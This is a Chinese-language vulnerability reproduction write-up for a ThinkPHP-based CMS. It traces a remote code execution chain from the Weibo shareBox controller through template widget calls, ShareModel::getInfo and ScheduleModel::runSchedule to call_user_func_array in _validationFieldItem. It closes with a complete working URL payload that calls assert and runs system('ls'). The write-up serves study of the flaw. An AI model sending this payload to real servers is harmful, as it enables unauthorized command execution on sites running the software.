根据网上的文章进行复现学习。感觉能找到这个洞的师傅实在tql。
漏洞点位于Application/Weibo/Controller/ShareController.class.php
的shareBox方法:
public function shareBox(){
$query = urldecode(I('get.query','','text'));
parse_str($query,$array);
$this->assign('query',$query);
$this->assign('parse_array',$array);
$this->display(T('Weibo@default/Widget/share/sharebox'));
}
看了这个才隐约想到,之前自己了解tp的时候,了解到模板文件里也是可以执行代码的。之前一直都没考虑过这个。
这里就用到了。先把get传的query参数进行url解码,然后将这个字符串解析成变量数组,然后进行模板渲染。
跟进这个模板看一下:
<!-- Modal -->
<div id="frm-post-popup" class="white-popup" style="max-width: 745px">
<div class="weibo_post_box">
<h2>{:L('_SHARE_TO_WEIBO_')}</h2>
<div class="aline" style="margin-bottom: 10px"></div>
<div class="row">
<div class="col-xs-12">
<div>
{:W('Weibo/Share/fetchShare',array('param'=>$parse_array))}
</div>
<br/>
<p>
<textarea class="form-control" id="share_content" style="height: 6em;"
placeholder="{:L('_PLACE_HOLDER_WRITE_SOMETHING_')}{:L('_WAVE_')}{:L('_WAVE_')}">{$weiboContent}</textarea></p>
<a href="javascript:" onclick="insertFace($(this))"><img src="__CORE_IMAGE__/bq.png"/></a>
<p class="pull-right"><input type="submit" value="{:L('_PUBLISH_CTRL_CENTER_')}" data-role="do_send_share" data-query="{$query}"
class="btn btn-primary" data-url="{:U('weibo/Share/doSendShare')}"/></p>
</div>
</div>
<div id="emot_content" class="emot_content"></div>
<button title="Close (Esc)" type="button" class="mfp-close" style="color: #333;">×</button>
</div>
</div>
<!-- /.modal -->
<script>
$(function () {
$('#share_content').keypress(function (e) {
if (e.ctrlKey && e.which == 13 || e.which == 10) {
$("[data-role='do_send_share']").click();
}
});
$('[data-role="do_send_share"]').click(function(){
//获取参数
var url = $(this).attr('data-url');
var content = $('#share_content').val();
var $button = $(this);
var query = $button.attr('data-query');
var originalButtonText = $button.val();
//发送到服务器
$.post(url, {content: content,query:query}, function (a) {
handleAjax(a);
if (a.status) {
$('.mfp-close').click();
$button.attr('class', 'btn btn-primary');
$button.val(originalButtonText);
}
});
})
});
</script>
可以发现:
<div>
{:W('Weibo/Share/fetchShare',array('param'=>$parse_array))}
</div>
调用W
方法,细看的话就是W方法里面又调用了R方法。thinkphp的注释中写道,W方法是用来渲染输出Widget
,R方法是远程调用控制器的操作方法 URL 参数格式 [资源://][模块/]控制器/操作
。
可以不具体的了解代码,简单来说,这个模板代码的作用就是,调用Weibo application
下的Share Model
下的fetchShare
方法,而传入的第一个参数就是array('param'=>$parse_array)
:
public function fetchShare($param, $weibo = null)
{
$this->assginFetch($param, $weibo = null);
$this->display(T('Weibo@default/Widget/share/fetchshare'));
}
继续跟进assginFetch
方法看看:
private function assginFetch($param, $weibo = null)
{
if ($weibo) {
$this->assign('weibo', $weibo);
}
$show = D('Weibo/Share')->getInfo($param);
$show=array_merge($show, $param);
$this->assign('show', $show);
}
看一下D方法的注释:实例化模型类 格式 [资源://][模块/]模型
。
所以其实就是实例化Weibo
模块下面的ShareModel
类,调用它的getInfo
方法:
public function getInfo($param)
{
$info = array();
if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
}
return $info;
}
然后关键的来了:
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
实例化某个模型类,然后调用这个类某个方法,第一个参数可控。
因此就是想办法找个可以rce的模型类方法了。发现的那个师傅找到的是_validationFieldItem
方法,但是这个方法有两个参数,而且两个参数都会用到:
protected function _validationFieldItem($data, $val)
又恰巧找到了ScheduleModel.class.php
下的runSchedule
方法:
public function runSchedule($schedule)
{
if ($schedule['status'] == 1) {
$method = explode('->', $schedule['method']);
parse_str($schedule['args'], $args); //分解参数
try {
$return = D($method[0])->$method[1]($args, $schedule); //执行model中的方法
}
构造status
键值进入if,然后$args
和$schedule
都是可控的,所以参数可控。而且$method
经过explode
得到,也可控,因此可以调用_validationFieldItem
方法:
protected function _validationFieldItem($data, $val)
{
switch (strtolower(trim($val[4]))) {
case 'function': // 使用函数进行验证
case 'callback': // 调用方法进行验证
$args = isset($val[6]) ? (array)$val[6] : array();
if (is_string($val[0]) && strpos($val[0], ','))
$val[0] = explode(',', $val[0]);
if (is_array($val[0])) {
// 支持多个字段验证
foreach ($val[0] as $field)
$_data[$field] = $data[$field];
array_unshift($args, $_data);
} else {
array_unshift($args, $data[$val[0]]);
}
if ('function' == $val[4]) {
return call_user_func_array($val[1], $args);
} else {
return call_user_func_array(array(&$this, $val[1]), $args);
}
先判断$val[4]
,发现如果是function
,并没有给break,还会进入到下面的case
,是开发的问题。
然后有用的代码就是这些了:
$args = isset($val[6]) ? (array)$val[6] : array();
array_unshift($args, $data[$val[0]]);
return call_user_func_array($val[1], $args);
构造出payload即可:
?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule->_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system('ls');